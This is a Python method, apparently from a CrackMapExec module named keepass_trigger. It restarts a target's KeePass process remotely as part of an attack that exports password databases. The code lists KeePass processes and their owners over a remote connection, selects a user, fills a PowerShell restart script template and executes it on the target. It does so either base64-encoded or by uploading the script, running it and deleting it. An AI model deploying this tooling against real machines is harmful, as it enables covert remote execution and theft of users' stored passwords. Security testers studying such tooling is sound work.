def restart(self, context, connection):
        """Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1
        If multiple process belonging to different users are running simultaneously,
        relies on the USER option to choose which one to restart"""

        # search for keepass processes
        search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
        search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
        # we return the powershell command as a CSV for easier column parsing
        csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
        next(csv_reader)  # to skip the header line
        keepass_process_list = list(csv_reader)
        # check if multiple processes belonging to different users are running (in order to choose which one to restart)
        keepass_users = []
        for process in keepass_process_list:
            keepass_users.append(process[1])
        if len(keepass_users) == 0:
            context.log.fail("No running KeePass process found, aborting restart")
            return
        elif len(keepass_users) == 1:  # if there is only 1 KeePass process running
            # if KEEPASS_USER option is specified then we check if the user matches
            if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split("\\")[1] != self.keepass_user):
                context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
                return
            else:
                self.keepass_user = keepass_users[0]
        elif len(keepass_users) > 1 and self.keepass_user:
            found_user = False  # we search through every KeePass process owner for the specified user
            for user in keepass_users:
                if user == self.keepass_user or user.split("\\")[1] == self.keepass_user:
                    self.keepass_user = keepass_users[0]
                    found_user = True
            if not found_user:
                context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
                return
        else:
            context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
            return

        context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))

        # prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
        # see data/keepass_trigger_module/RestartKeePass.ps1
        self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassUser", self.keepass_user)
        self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path)
        self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_DummyServiceName", self.dummy_service_name)

        # actually performs the restart on the remote target
        if self.powershell_exec_method == "ENCODE":
            restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
            restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
            connection.execute(restart_keepass_script_cmd)
        elif self.powershell_exec_method == "PS1":
            try:
                self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
            except Exception as e:
                context.log.fail("Error while restarting KeePass: {}".format(e))
                return
Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1
        If multiple process belonging to different users are running simultaneously,
        relies on the USER option to choose which one to restart
cme/modules/keepass_trigger.py